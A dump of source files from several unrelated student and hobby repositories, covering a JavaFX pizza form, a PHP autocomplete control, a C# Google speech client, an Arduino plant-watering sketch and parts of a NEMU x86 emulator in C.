if (!addDbRolesAndPermissionsSuccess) return false
const addNgDefaultRolesAndPermissionsSuccess = await addNgDefaultRolesAndPermissions()
if (!addNgDefaultRolesAndPermissionsSuccess) return false
await addNgGroupRoleAndPermissions()
const getAllNamedGraphSuccess = await getAllNamedGraphsAndCreateRoles()
if (!getAllNamedGraphSuccess) return false
const addNgIasAsmySuccess = await addNgIasAsmtGraphRoleWrite()
if (!addNgIasAsmySuccess) return false
const getUsersAndRolesSuccess = await getUsersAndAddRoles()
if (!getUsersAndRolesSuccess) return false
return true
}
return {
addNewReadRoleAndRemoveOldReadRoleFromUsers,
createReadRoleForNamedGraph,
run,
}
}
export default Security
| 015069ac925022cd62a672eb5c9bb3c22848f5d2 | [
"Markdown",
"TypeScript"
] | 12 | TypeScript | jologz/stardog-named-graph-alias | e2441cda9a84c2f68b619e55b6090329aff49842 | 55addb6a419f3a79b0de39e41522b59d80e3db5c |
refs/heads/master | <file_sep>package sample;
import javafx.application.Application;
import javafx.fxml.FXMLLoader;
import javafx.geometry.Insets;
import javafx.geometry.Orientation;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.control.*;
import javafx.scene.layout.*;
import javafx.scene.text.Font;
import javafx.stage.Stage;
public class Main extends Application {
TextField headingTF,nameTf,phnoTf,addressTf;
Label nameLabel,phNoLabel,addressLabel,sizeLabel,crustLabel,toppingsLabel;
RadioButton smallRb,mediumRb,largeRb,thinRb,thickRb;
CheckBox pepperoniCb,sausageCb,linguicaCb,olivesCb,mushroomsCb,tomatoesCb,anchoviesCb;
Button okBtn,cencleBtn;
HBox headingHb,CustomerHb,pizzaHb;
VBox labelsVb,textFieldsVb,detailsVb,sizeVb,crustVb;;
FlowPane root;
@Override
public void start(Stage primaryStage) throws Exception{
headingTF=new TextField("Order Your Pizza Now~!");
headingTF.setFont(new Font(20));
headingHb=new HBox(headingTF);
headingHb.setPadding(new Insets(10));
nameLabel=new Label("Name:");
phNoLabel=new Label("Phone Number:");
addressLabel=new Label("Address:");
nameTf=new TextField();
phnoTf=new TextField();
addressTf=new TextField();
labelsVb=new VBox(10,nameLabel,phNoLabel,addressLabel);
textFieldsVb=new VBox(nameTf,phnoTf,addressTf);
sizeLabel=new Label("Size");
smallRb=new RadioButton("Small");
mediumRb=new RadioButton("Medium");
largeRb=new RadioButton("Large");
ToggleGroup sizeTG=new ToggleGroup();
smallRb.setToggleGroup(sizeTG);
mediumRb.setToggleGroup(sizeTG);
largeRb.setToggleGroup(sizeTG);
sizeVb=new VBox(sizeLabel,smallRb,mediumRb,largeRb);
sizeVb.setSpacing(10);
crustLabel=new Label("Crust");
thinRb=new RadioButton("Thin");
thickRb=new RadioButton("Thick");
ToggleGroup crustTG=new ToggleGroup();
thinRb.setToggleGroup(crustTG);
thickRb.setToggleGroup(crustTG);
crustVb=new VBox(labelsVb,thinRb,thickRb);
crustVb.setSpacing(10);
crustVb.setPadding(new Insets(0,0,0,10));
toppingsLabel=new Label("Tooping");
pepperoniCb=new CheckBox("Pepperoni");
sausageCb=new CheckBox("Sausage");
linguicaCb=new CheckBox("Lingoica");
olivesCb=new CheckBox("Olives");
mushroomsCb=new CheckBox("Mushrooms");
tomatoesCb=new CheckBox("Tomatoes");
anchoviesCb=new CheckBox("Anchovies");
root=new FlowPane(Orientation.VERTICAL,pepperoniCb,sausageCb,linguicaCb,olivesCb,mushroomsCb,tomatoesCb,anchoviesCb);
root.setPadding(new Insets(10,0,10,0));
root.setHgap(20);
root.setVgap(10);
root.setPrefWrapLength(100);
VBox ToopingVB=new VBox(toppingsLabel,root);
ToopingVB.setPadding(new Insets(0,0,0,15));
pizzaHb=new HBox(sizeVb,crustVb,ToopingVB);
VBox centerVB=new VBox(20,CustomerHb,pizzaHb);
centerVB.setPadding(new Insets(0,10,0,10));
cencleBtn=new Button("Cancle");
okBtn=new Button("OK");
okBtn.setPrefWidth(80);
okBtn.setOnAction(e-> btnOK_Click() );
cencleBtn.setPrefWidth(80);
cencleBtn.setOnAction(e-> btnCancle_Click());
Region spacer=new Region();
HBox BtnHB=new HBox(10,spacer,okBtn,cencleBtn);
BtnHB.setPadding(new Insets(20,10,20,10));
BorderPane mainBP=new BorderPane();
mainBP.setTop(headingHb);
mainBP.setCenter(centerVB);
mainBP.setBottom(BtnHB);
}
private void btnCancle_Click() {
}
private void btnOK_Click() {
}
public static void main(String[] args) {
launch(args);
}
}
| e444527dc14a31fd41139a890418e3a1917f0588 | [
"Java"
] | 1 | Java | Ali-Imran-1/Activity-5-181380054 | 257578c1c21398ae291b51e46541e267c9297fc8 | b32e1633f3c81d4b9971e1e9b90e22aca3d0266f |
refs/heads/master | <file_sep><?php
namespace Wame\AutocompleteFormControl\Controls;
use Nette\Forms\Controls\BaseControl;
use Nette\Forms\Container;
use Doctrine\ORM\PersistentCollection;
use Kdyby\Doctrine\Collections\ReadOnlyCollectionWrapper;
class AutocompleteFormControl extends BaseControl
{
/** @var bool */
private static $registered = false;
/** @var string */
private $labelName;
/** @var mixed */
private $defaultLabel;
/** @var string */
private $source;
/** @var array */
private $options;
public function __construct($label, array $config = [])
{
parent::__construct($label);
$this->labelName = $label;
$this->options = $config;
}
/**
* Set API route
*
* @param string $source
*
* @return $this
*/
public function setSource($source)
{
$this->source = $source;
return $this;
}
/**
* Set options
*
* @param array $options
* @return \Wame\AutocompleteFormControl\Controls\AutocompleteFormControl
*/
public function setOptions(array $options)
{
foreach ($options as $key => $value) {
$this->options[$key] = $value;
}
return $this;
}
public function setColumns($columns)
{
if (!is_array($columns)) {
$columns = [$columns];
}
$this->options['columns'] = $columns;
return $this;
}
public function setSelect($select)
{
$this->options['select'] = $select;
return $this;
}
/**
* Set minimum length
*
* @param int $minLength
* @return \Wame\AutocompleteFormControl\Controls\AutocompleteFormControl
*/
public function setMinLength($minLength)
{
$this->options['minLength'] = $minLength;
return $this;
}
/**
* Set limit
*
* @param int $limit
* @return \Wame\AutocompleteFormControl\Controls\AutocompleteFormControl
*/
public function setLimit($limit)
{
$this->options['limit'] = $limit;
return $this;
}
/**
* Set offset
*
* @param int $offset
* @return \Wame\AutocompleteFormControl\Controls\AutocompleteFormControl
*/
public function setOffset($offset)
{
$this->options['offset'] = $offset;
return $this;
}
/**
* Set value
*
* @param string $value
* @return \Wame\AutocompleteFormControl\Controls\AutocompleteFormControl
*/
public function setFieldValue($value)
{
$this->options['fieldValue'] = $value;
return $this;
}
/**
* Set label
*
* @param string $label
* @return \Wame\AutocompleteFormControl\Controls\AutocompleteFormControl
*/
public function setFieldLabel($label)
{
$this->options['fieldLabel'] = $label;
return $this;
}
/**
* Set search
*
* @param string $search
* @return \Wame\AutocompleteFormControl\Controls\AutocompleteFormControl
*/
public function setFieldSearch($search)
{
$this->options['fieldSearch'] = $search;
return $this;
}
/**
* Set default value
*
* @param mixed $value
* @return \Wame\AutocompleteFormControl\Controls\AutocompleteFormControl
*/
public function setDefaultValue($value)
{
if (is_array($value) || $value instanceof ReadOnlyCollectionWrapper || $value instanceof PersistentCollection) {
$value = $this->prepareValue($value);
}
$this->setValue($value);
return $this;
}
/**
* Set default label
*
* @param mixed $label
*
* @return $this
*/
public function setDefaultLabel($label)
{
$this->defaultLabel = $label;
return $this;
}
/**
* Get default label
*
* @return mixed
*/
public function getDefaultLabel()
{
return $this->defaultLabel;
}
/**
* Prepare value
*
* @param mixed $values
* @return string
*/
private function prepareValue($values = [])
{
$i = 0;
$fieldValue = $this->options['fieldValue'];
$delimeter = $this->options['delimeter'];
$return = '';
foreach ($values as $key => $value) {
$i++;
$return .= isset($value->$fieldValue) ? $value->$fieldValue : $key;
if ($i < count($values)) {
$return .= $delimeter;
}
}
return $return;
}
/**
* Prepare input
*
* @return \Nette\Utils\Html
*/
public function getControl()
{
$control = parent::getControl();
$this->setOption('rendered', true);
$class = [isset($this->options['class']) ? $this->options['class'] : 'autocomplete' . ' form-control'];
$control->setClass($class)
->data('source', $this->source)
->data('options', $this->options)
->setValue($this->getValue());
return $control;
}
public static function register($method = 'addAutocomplete', $config = [])
{
if (static::$registered) {
throw new Nette\InvalidStateException(_('Autocomplete form control already registered.'));
}
static::$registered = true;
$class = function_exists('get_called_class') ? get_called_class() : __CLASS__;
Container::extensionMethod(
$method, function (Container $container, $name, $label = null, $options = null) use ($config, $class)
{
$component[$name] = new $class($label, is_array($options) ? array_replace($config, $options) : $config);
$container->addComponent($component[$name], $name);
return $component[$name];
}
);
}
}<file_sep>$(function() {
$('input.autocomplete').wameAutocomplete();
});<file_sep>/*!
* jQuery Autocomplete Select2
* Original author: @kaliver
* Licensed under the MIT license
*/
;(function ( $, window, document, undefined ) {
var autocompleteSelect2 = "autocompleteSelect2",
defaults = {
minimumInputLength: 1,
limit: 10
};
// The actual plugin constructor
var AutocompleteSelect2 = function ( element, options ) {
this.element = element;
this.options = $.extend( {}, defaults, options) ;
this._defaults = defaults;
this._name = autocompleteSelect2;
this.init();
};
AutocompleteSelect2.prototype = {
init: function() {
var elm = $(this.element);
var pluginOptions = this.options;
var dataOptions = elm.data( "options" );
// Set the value, creating a new option if necessary
if (elm.attr('value').length) {
// Create a DOM Option and pre-select by default
var newOption = new Option(elm.attr('value'), elm.attr('value'), true, true);
// Append it to the select
elm.append(newOption).trigger('change');
}
elm.select2({
ajax: {
url: function (params) {
var url = $(this).data( "source" );
return url;
},
dataType: "json",
delay: 250,
clear: true,
data: function (params) {
var query = {
columns: dataOptions.columns,
phrase: params.term,
select: dataOptions.select,
limit: pluginOptions.limit,
offset: (params.page * pluginOptions.limit) - pluginOptions.limit
};
return query;
},
processResults: function (data, params) {
var results = [];
$.each(data.items, function (index, value) {
value.text = value.value;
delete value.value;
results[index] = value;
});
params.page = params.page || 1;
var pagination = {
"more": (params.page * pluginOptions.limit) < data.results
};
return {
results,
pagination
};
},
cache: true
},
minimumInputLength: this.options.minimumInputLength
});
}
};
$.fn[autocompleteSelect2] = function ( options ) {
return this.each(function () {
if (!$.data(this, "plugin_" + autocompleteSelect2)) {
$.data(this, "plugin_" + autocompleteSelect2,
new AutocompleteSelect2( this, options ));
}
});
};
})( jQuery, window, document );<file_sep>$(document).ready(function() {
$(document).on('keyup', 'input.autocomplete', function() {
$(this).autocomplete({
source: function( request, response ) {
var phrase = request.term;
var source = this.element.data('source');
var options = this.element.data('options');
var columns = options.columns;
var select = options.select;
$.ajax({
url: source,
type: 'get',
dataType: 'json',
data: {
columns : columns,
phrase : phrase,
select : select
},
success: function( res ) {
if (res.length === 0) {
return {
label: 'No results found',
value: ''
};
} else {
response($.map(res, function(item) {
return {
label: item.title,
value: item.id
};
}));
}
}
});
},
minLength: 3,
select: function( event, ui ) {
var value = ui.item.value;
var label = ui.item.label;
var el = $(this);
el.attr('value', value).hide();
el.before('<div class="well well-sm autocomplete-value">' + label + '<a class="autocomplete-remove btn btn-xs btn-link pull-right" href="#" data-control="' + el.attr('id') + '"><span class="fa fa-times-circle"></span></a></div>');
},
open: function() {
$( this ).removeClass( "ui-corner-all" ).addClass( "ui-corner-top" );
},
close: function() {
$( this ).removeClass( "ui-corner-top" ).addClass( "ui-corner-all" );
}
});
});
$(document).on('click', '.autocomplete-remove', function() {
var control = $(this).data('control');
$(this).closest('.autocomplete-value').remove();
$('#' + control).attr('value', '').show();
return false;
});
});<file_sep><?php
namespace Wame\AutocompleteFormControl\DI;
use Nette\DI\CompilerExtension;
use Nette\PhpGenerator\ClassType;
class AutocompleteFormExtension extends CompilerExtension
{
private $defaults = [
'multiple' => false,
'minLength' => 3,
'limit' => null,
'offset' => null,
'delimeter' => ',',
'columns' => ['langs.title'],
'select' => '*',
'fieldValue' => 'id',
'fieldLabel' => 'title',
'fieldSearch' => 'title'
];
/**
* @param ClassType $class
*/
public function afterCompile(ClassType $class)
{
parent::afterCompile($class);
$initialize = $class->methods['initialize'];
$config = $this->getConfig($this->defaults);
$initialize->addBody('\Wame\AutocompleteFormControl\Controls\AutocompleteFormControl::register(?, ?);', ['addAutocomplete', $config]);
}
}<file_sep># AutocompleteFormControl
## Options
| parameter | example | description |
| --------- | ------- | ----------- |
| limit | 10 | počet vrátených výsledkov |
| offset | 20 | offset vrátených výsledkov |
| fieldValue | id | čo nastaví ako ID |
| fieldLabel | title | čo nastaví ako label |
| columns | [title] | názvy stlpcov v ktorých vyhľadáva (je možné použiť aj cudzí kľúč napr. langs.title) |
| select | * | ake hodnoty vráti |
## Example
```
$parent->addAutocomplete('article', _('Article'))
->setAttribute('placeholder', _('Begin typing...'))
->setSource('/api/v1/parameter-value-search?id=' . $parameterRelationEntity->getId())
->setColumns(['langs.title'])
->setSelect('a.id, langs.title')
->setFieldValue('id')
->setFieldLabel('title')
->setFieldSearch('title');
``` | f6c47560b41825b830ce30d262672fe3d66dd8bc | [
"JavaScript",
"Markdown",
"PHP"
] | 6 | PHP | WAME-IS/AutocompleteFormControl | 4f716299e253f2170492f18ca2dc00eb88541141 | 9ba9a5c04d163e918724f66a5d74ecd4a4a0cb3b |
refs/heads/master | <repo_name>excitexcite/SmartWatering<file_sep>/SmartWatering/SmartWatering.ino
//full program
#define relay 8
#define sensorPower 2
#define sensorControl A0
#define redDiod 7
#define yellowDiod 12
#define greenDiod 13
int veryWetBorder = 500;
int semiWetBorder = 700;
int veryDryBorder = 1023;
void setup() {
// set up console output and pin mode
Serial.begin(9600);
pinMode(sensorPower, OUTPUT);
pinMode(relay, OUTPUT);
pinMode(redDiod, OUTPUT);
pinMode(yellowDiod, OUTPUT);
pinMode(greenDiod, OUTPUT);
}
void loop() {
digitalWrite(sensorPower, HIGH);
delay(100);
for (int i = 0; i < 3; i++) {
//get moisture value
moisture_value = analogRead(sensorControl);
//output moisutre value to serial console
Serial.print(moisture_value);
Serial.print("\n");
if (setMoistureLevelDiod() == 1) {
digitalWrite(relay, HIGH);
//watering time
delay(2500);
digitalWrite(relay, LOW);
delay(15000);
}
else
break;
}
digitalWrite(sensorPower, LOW);
//time to the next moisture check in ms
// 1 hour
delay(600000);
}
// return 0 if the earth is dry and 1 if the earth is wet or semi-wet
int setMoistureLevelDiod() {
if (moisture_value >= 0 && moisture_value < veryWetBorder) {
digitalWrite(greenDiod, HIGH);
digitalWrite(yellowDiod, LOW);
digitalWrite(greenDiod, LOW);
return 1;
}
else if (moisture_value >= veryWetBorder && moisture_value < semiWetBorder) {
digitalWrite(yellowDiod, HIGH);
digitalWrite(redDiod, LOW);
digitalWrite(greenDiod, LOW);
return 1;
}
else if (moisture_value >= semiWetBorder && moisture_value < veryDryBorder) {
digitalWrite(redDiod, HIGH);
digitalWrite(yellowDiod, LOW);
digitalWrite(greenDiod, LOW);
return 0;
}
}
<file_sep>/README.md
# SmartWatering
SmartWatering is a small university project. The main project's purpose is to make the process of watering plants in university's classrooms more easy.
Our development has moisture sensor that takes measurements once a time, that you could state manually (by editing the source code), and depending on the measurements it decides water the plant or not. Such approach makes the watering process almost automatic (you only need to fill you reservoir from time to time (periodicity depends on your plan and reservoir size)).
There are three LED diod, that tell current moisture state: red means dry, yellow means semi-dry, green means wet.
Some new features might be released soon.
| 6bd4bddbd1589c5c79e3fecfa6c0bf8f32fe9009 | [
"Markdown",
"C++"
] | 2 | C++ | excitexcite/SmartWatering | 324e4b13a69c910540c49cad1f526a89456042c6 | c7c20e55d055cdbf531a69130f88308ae17645b0 |
refs/heads/master | <file_sep>----
====
用Google的speech-api写的一个识别声音的C#客户端<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.IO;
using Newtonsoft.Json;
namespace siri
{
public partial class Form1 : Form
{
BackgroundWorker worker = new BackgroundWorker();
private StringBuilder sbResult = new StringBuilder();
public Form1()
{
InitializeComponent();
btStop.Enabled = false;
worker.WorkerReportsProgress = true;
worker.WorkerSupportsCancellation = true;
worker.DoWork += new DoWorkEventHandler(DoFor);
worker.ProgressChanged += new ProgressChangedEventHandler(ChangeFor);
worker.RunWorkerCompleted += new RunWorkerCompletedEventHandler(CompletedFor);
}
private void DoFor(object sender, DoWorkEventArgs e)
{
bool isEnglish = rbEnglish.Checked;
string rate = tbHz.Text.Trim();
int postLength = 100 * 1024;
byte[] postData = File.ReadAllBytes(e.Argument.ToString());
int count = postData.Length / postLength;
int yu = postData.Length % postLength;
for (int i = 0; i < count; i++)
{
byte[] temp = new byte[postLength];
Array.Copy(postData, i * postLength, temp, 0, postLength);
ChangeResult rs = new ChangeResult();
rs.Res=convertFlac(temp, rate, isEnglish);
rs.Pro=i + "/" + count;
worker.ReportProgress(0, rs);
if (worker.CancellationPending)
{ break; }
}
if (yu > 0&&!worker.CancellationPending)
{
byte[] temp = new byte[yu];
Array.Copy(postData, count * postLength, temp, 0, yu);
ChangeResult rs = new ChangeResult();
rs.Res = convertFlac(temp, rate, isEnglish);
rs.Pro = "完成!";
worker.ReportProgress(0, rs);
}
if (worker.CancellationPending)
{
worker.ReportProgress(0, new ChangeResult() { Pro="终止!",Res=""});
}
}
public void ChangeFor(object sender, ProgressChangedEventArgs e)
{
ChangeResult res= e.UserState as ChangeResult;
if (res.Res != "")
{
tbResult.Items.Add(res.Res);
sbResult.Append(res.Res);
}
lbpro.Text = res.Pro;
}
public void CompletedFor(object sender, RunWorkerCompletedEventArgs e)
{
btSend.Text = "开始识别";
btSend.Enabled = true;
}
private void btBowser_Click(object sender, EventArgs e)
{
OpenFileDialog ofd = new OpenFileDialog();
if (ofd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
tbFilePath.Text = ofd.FileName;
}
}
private void btSend_Click(object sender, EventArgs e)
{
if (!string.IsNullOrEmpty(tbFilePath.Text.Trim()) && !string.IsNullOrEmpty(tbHz.Text.Trim()))
{
if (!File.Exists(tbFilePath.Text.Trim()))
return;
lbpro.Text = "0/0";
btSend.Text = "识别中...";
btSend.Enabled = false;
btStop.Enabled = true;
worker.RunWorkerAsync(tbFilePath.Text.Trim());
}
}
private string convertFlac(byte[] postData,string rate,bool isEnglish)
{
try
{
string url = "http://www.google.com/speech-api/v1/recognize?xjerr=1&client=chromium&lang=en-US&maxresults=1";
if (!isEnglish) url = "http://www.google.com/speech-api/v1/recognize?xjerr=1&client=chromium&lang=zh-CN&maxresults=1";
HttpWebRequest req = (HttpWebRequest)WebRequest.Create(url);
req.ServicePoint.Expect100Continue = false;
req.Method = "POST";
req.KeepAlive = true;
req.UserAgent = "adks";
//req.Timeout = 400000;
req.ContentType = "audio/x-flac; rate=" + rate;
Stream reqStream = req.GetRequestStream();
reqStream.Write(postData, 0, postData.Length);
reqStream.Close();
HttpWebResponse rsp = (HttpWebResponse)req.GetResponse();
Encoding encoding = Encoding.GetEncoding(rsp.CharacterSet);
reqStream = rsp.GetResponseStream();
StreamReader reader = new StreamReader(reqStream, encoding);
string jsonresult = reader.ReadToEnd();
GoogleResponse objResult =
JsonConvert.DeserializeObject<GoogleResponse>(jsonresult);
if (objResult.status == 0 && objResult.hypotheses.Length > 0)
{
return objResult.hypotheses[0].utterance;
}
else
{
return "";
}
}
catch (Exception ee)
{
return "服务器错误!请查看google是否能够正常访问!" + ee;
}
}
private void btStop_Click(object sender, EventArgs e)
{
worker.CancelAsync();
btStop.Enabled = false;
}
private void btOutput_Click(object sender, EventArgs e)
{
SaveFileDialog sfd = new SaveFileDialog();
if (sfd.ShowDialog() == System.Windows.Forms.DialogResult.OK)
{
sfd.RestoreDirectory = true;
sfd.Filter = "*.txt|*.txt|所有文件(*.*)|*.*";
System.IO.File.WriteAllText(sfd.FileName, sbResult.ToString());
sbResult.Clear();
tbResult.Items.Clear();
}
}
}
public class ChangeResult
{
public string Res { get; set; }
public string Pro { get; set; }
}
[JsonObject(MemberSerialization.OptIn)]
public class GoogleHypothesa
{
[JsonProperty]
public string utterance { get; set; }
[JsonProperty]
public double confidence { get; set; }
}
[JsonObject(MemberSerialization.OptIn)]
public class GoogleResponse
{
[JsonProperty]
public int status { get; set; }
[JsonProperty]
public string id { get; set; }
[JsonProperty]
public GoogleHypothesa[] hypotheses { get; set; }
}
}
| 90705838117b704fb41710dcd9c1b998cbac191e | [
"Markdown",
"C#"
] | 2 | Markdown | gudao/GoogleTTS | c450cbc19e76f341b74f7e8ed48fec255a186938 | 1c5b9a95be1bccd2365105cf64346a17e06c389b |
refs/heads/master | <file_sep>#include "cpu/exec.h"
#include "cc.h"
make_EHelper(test) {
rtl_and(&s0,&id_src->val, &id_dest->val);
rtl_update_ZFSF(&s0,id_dest->width);
rtl_zero_CF();
rtl_zero_OF();
print_asm_template2(test);
}
make_EHelper(and) {
rtl_and(&s0,&id_src->val, &id_dest->val);
//rtl_andi(&s0,&s0,0xffffffffu >> ((4-id_dest->width)*8));
operand_write(id_dest,&s0);
rtl_update_ZFSF(&s0,id_dest->width);
rtl_zero_CF();
rtl_zero_OF();
print_asm_template2(and);
}
make_EHelper(xor) {
rtl_xor(&s0,&id_src->val,&id_dest->val);
//rtl_andi(&s0,&s0,0xffffffffu >> ((4-id_dest->width)*8));
operand_write(id_dest,&s0);
rtl_update_ZFSF(&s0,id_dest->width);
rtl_zero_CF();
rtl_zero_OF();
print_asm_template2(xor);
}
make_EHelper(or) {
rtl_or(&s0,&id_dest->val,&id_src->val);
//rtl_andi(&s0,&s0,0xffffffffu >> ((4-id_dest->width)*8));
operand_write(id_dest,&s0);
rtl_update_ZFSF(&s0,id_dest->width);
rtl_zero_CF();
rtl_zero_OF();
print_asm_template2(or);
}
make_EHelper(sar) {
if(id_dest->width == 2) id_dest->val = (int32_t)(int16_t)id_dest->val;
rtl_sar(&s0,&id_dest->val,&id_src->val);
operand_write(id_dest,&s0);
rtl_update_ZFSF(&s0,id_dest->width);
// unnecessary to update CF and OF in NEMU
print_asm_template2(sar);
}
make_EHelper(shl) {
rtl_shl(&s0,&id_dest->val,&id_src->val);
operand_write(id_dest,&s0);
rtl_update_ZFSF(&s0,id_dest->width);
// unnecessary to update CF and OF in NEMU
print_asm_template2(shl);
}
make_EHelper(shr) {
rtl_shr(&s0,&id_dest->val,&id_src->val);
operand_write(id_dest,&s0);
rtl_update_ZFSF(&s0,id_dest->width);
// unnecessary to update CF and OF in NEMU
print_asm_template2(shr);
}
make_EHelper(setcc) {
uint32_t cc = decinfo.opcode & 0xf;
rtl_setcc(&s0, cc);
operand_write(id_dest, &s0);
print_asm("set%s %s", get_cc_name(cc), id_dest->str);
}
make_EHelper(not) {
rtl_not(&s0,&id_dest->val);
operand_write(id_dest,&s0);
rtl_update_ZFSF(&s0,id_dest->width);
rtl_zero_CF();
rtl_zero_OF();
print_asm_template1(not);
}
make_EHelper(rol){
rtl_shl(&s0,&id_dest->val,&id_src->val);
rtl_shri(&s1,&id_dest->val,8*id_dest->width-id_src->val);
rtl_or(&s0,&s0,&s1);
operand_write(id_dest,&s0);
}
<file_sep>#include "common.h"
_Context* do_syscall(_Context *c);
static _Context* do_event(_Event e, _Context* c) {
// Log("reach");
//printf("after reach");
switch (e.event) {
// case 0: printf("EVENT NULL\n"); break;
// case 1: printf("EVENT ERROR\n"); break;
// case 2: printf("EVENT IRQ TIMER\n"); break;
// case 3: printf("EVENT IQR IODEV\n"); break;
// case 4: printf("EVENT PAGEFAULT\n"); break;
case _EVENT_YIELD: printf("EVENT YIELD\n"); break;
case _EVENT_SYSCALL: do_syscall(c);break;
default: panic("Unhandled event ID = %d", e.event);
}
//printf("the end");
return NULL;
}
void init_irq(void) {
Log("Initializing interrupt/exception handler...");
_cte_init(do_event);
}
<file_sep>#ifndef __WATCHPOINT_H__
#define __WATCHPOINT_H__
#include "common.h"
typedef struct watchpoint {
int NO;
struct watchpoint *next;
char expr[128]; //应该够用了吧 QAQ
/* TODO: Add more members if necessary */
} WP;
extern uint32_t wp_value[];
WP* new_wp();
void free_wp(int i);
bool check_watchpoint();
void all_watchpoint();
#endif
<file_sep>#ifndef __ARCH_H__
#define __ARCH_H__
struct _Context {
struct _AddressSpace *as; //还没有完全确定as位置
uintptr_t edi, esi, ebp, esp, ebx, edx, ecx, eax;
int irq;
uintptr_t eip;
uintptr_t cs;
uintptr_t eflags;
};
#define GPR1 eax
#define GPR2 ebx
#define GPR3 ecx
#define GPR4 edx
#define GPRx eax
#endif
<file_sep>#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <assert.h>
#include <string.h>
// this should be enough
static char buf[65536];
static uint32_t buf_position = 0;
static uint32_t gen_rand_num(){
return rand()%1000;
}
static char gen_rand_op(){
switch(rand() % 4){
case 0: return '+'; break;
case 1: return '-'; break;
case 2: return '*'; break;
default: return '/'; break;
}
}
static void space(){
uint32_t sp_num = rand() % 3;
for(int i = 0; i < sp_num; i++)buf[buf_position++] = ' ';
return;
}
static inline void gen_rand_expr() {
//printf("position: %d\n",buf_position);
uint32_t a = gen_rand_num();
uint32_t b = a, bit_num = 0;
switch(rand() % 4){
case 0: //分配两种情况使得表达式长度收敛
case 1: space();
while(b != 0){ b /= 10; bit_num ++; }
for(int i = bit_num - 1; i >= 0; i --){
buf[buf_position + i] = (a % 10) + '0';
a /= 10;
}
if(bit_num == 0) buf[buf_position++]='0';
//printf("case 0\n");
buf_position += bit_num;
space();
break;
case 2: space();
buf[buf_position++] = '(';
gen_rand_expr();
buf[buf_position++] = ')';
space();
break;
default: gen_rand_expr(); buf[buf_position++] = gen_rand_op(); gen_rand_expr();
}
}
static char code_buf[65536];
static char *code_format =
"#include <stdio.h>\n"
"int main() { "
" unsigned result = %s + (unsigned)0; "
" printf(\"%%u\\n\", result); "
" return 0; "
"}";
int main(int argc, char *argv[]) {
int seed = time(0);
srand(seed);
int loop = 1;
if (argc > 1) {
sscanf(argv[1], "%d", &loop);
}
int i;
for (i = 0; i < loop; i ++) {
buf[0] = '\0';
buf_position = 0;
gen_rand_expr();
buf[buf_position] = '\0';
sprintf(code_buf, code_format, buf);
//printf("%s\n",buf);
FILE *fp = fopen("/tmp/.code.c", "w");
assert(fp != NULL);
fputs(code_buf, fp);
fclose(fp);
int ret = system("gcc -Wall -Werror /tmp/.code.c -o /tmp/.expr");
if (ret != 0) continue;
fp = popen("/tmp/.expr", "r");
assert(fp != NULL);
int result;
fscanf(fp, "%d", &result);
pclose(fp);
printf("%u %s\n", result, buf);
}
return 0;
}
<file_sep>#include "rtl/rtl.h"
#include "isa/mmu.h"
void raise_intr(uint32_t NO, vaddr_t ret_addr) {
/* TODO: Trigger an interrupt/exception with ``NO''.
* That is, use ``NO'' to index the IDT.
*/
union {
GateDesc gd;
struct{
uint32_t lo, hi;
};
} gate;
vaddr_t addr = cpu.IDTR._addr + 8*NO;
//printf("addr: %x\n",addr);
gate.lo = vaddr_read(addr,4);
gate.hi = vaddr_read(addr+4,4);
if(gate.gd.present){
rtl_push(&cpu.eflags);
rtl_push(&cpu.CS);
rtl_push(&ret_addr);
rtl_j(((uint32_t)gate.gd.offset_31_16 << 16) | ((uint32_t)gate.gd.offset_15_0& 0x0000ffff));
}
}
bool isa_query_intr(void) {
return false;
}
<file_sep>#include "klib.h"
#if !defined(__ISA_NATIVE__) || defined(__NATIVE_USE_KLIB__)
size_t strlen(const char *s) {
int n = 0;
while(*s != 0){
n ++;
s ++;
}
return n;
}
char *strcpy(char* dst,const char* src) {
char* beg = dst;
while(*src !=0 ){
*dst = *src;
dst ++;
src ++;
}
return beg;
}
char* strncpy(char* dst, const char* src, size_t n) {
assert(0);
return NULL;
}
char* strcat(char* dst, const char* src) {
char* beg = dst;
while(*dst) dst++;
while(*src){
*dst = *src;
dst ++;
src ++;
}
*dst = 0;
return beg;
}
int strcmp(const char* s1, const char* s2) {
while(!(*s1 == 0 || *s2 == 0)){
if(*s1 > *s2) return 1;
else if(*s1 < *s2) return -1;
s1 ++;
s2 ++;
}
if(*s1 == 0 && *s2 != 0) return -1;
else if(*s2 == 0 && *s1 != 0) return 1;
return 0;
}
int strncmp(const char* s1, const char* s2, size_t n) {
for(int i = 0; i < n; i++){
if(*s1 > *s2) return 1;
if(*s1 < *s2) return -1;
s1++; s2++;
}
return 0;
}
void* memset(void* v,int c,size_t n) {
char* tem = v;
for(int i = 0; i < n; i++) {
*tem = c;
tem++;
}
return v;
}
void* memcpy(void* out, const void* in, size_t n) {
//不允许overlap??
char* ob = out;
const char* ib = in;
for(int i = 0; i < n; i++){
*ob = *ib;
ob ++;
ib ++;
}
return out;
}
int memcmp(const void* s1, const void* s2, size_t n){
const char* bs1 = s1;
const char* bs2 = s2;
for(int i = 0; i < n; i++){
if(*bs1 > *bs2) return 1;
if(*bs1 < *bs2) return -1;
bs1++; bs2++;
}
return 0;
}
#endif
<file_sep>#include "cpu/exec.h"
make_EHelper(mov) {
operand_write(id_dest, &id_src->val);
print_asm_template2(mov);
}
make_EHelper(push) {
//printf("\nreached!\n");
if(id_dest->width==1)id_dest->val = (int32_t)(int8_t)id_dest->val;
else if(id_dest->width == 2)id_dest->val = (int32_t)(int16_t)id_dest->val;
rtl_push(&id_dest -> val);
print_asm_template1(push);
}
make_EHelper(pop) {
rtl_pop(&cpu.gpr[id_dest->reg]._32);
print_asm_template1(pop);
}
make_EHelper(pusha) {
rtl_mv(&s0,&cpu.esp);
for(int i = 0; i < 4; i++) rtl_push(&cpu.gpr[i]._32);
rtl_push(&s0);
for(int i = 5; i < 8; i++) rtl_push(&cpu.gpr[i]._32);
print_asm("pusha");
}
make_EHelper(popa) {
for(int i = 7; i > 4; i--) rtl_pop(&cpu.gpr[i]._32);
rtl_pop(&s0);
for(int i = 3; i >= 0; i--) rtl_pop(&cpu.gpr[i]._32);
//rtl_mv(&cpu.esp,&s0);
print_asm("popa");
}
make_EHelper(leave) {
rtl_li(&cpu.esp, cpu.ebp);
rtl_pop(&cpu.ebp);
print_asm("leave");
}
